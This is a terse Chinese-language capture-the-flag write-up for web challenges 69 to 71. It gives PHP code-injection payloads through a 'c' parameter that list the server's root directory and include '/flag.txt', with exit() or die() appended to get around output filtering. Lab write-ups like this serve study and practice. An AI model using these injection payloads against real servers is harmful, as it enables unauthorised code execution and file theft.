web69+70c=var_export(scandir('/'));查看目录，c=include('/flag.txt');得到flagweb71查看附件源码，在执行完命令后，会将页面字符替换为?,只需执行完命令立刻退出即可c=var_export(scandir('/'));exit();查看目录，c=include('/flag.txt');exit();得到flag,或者使用die();web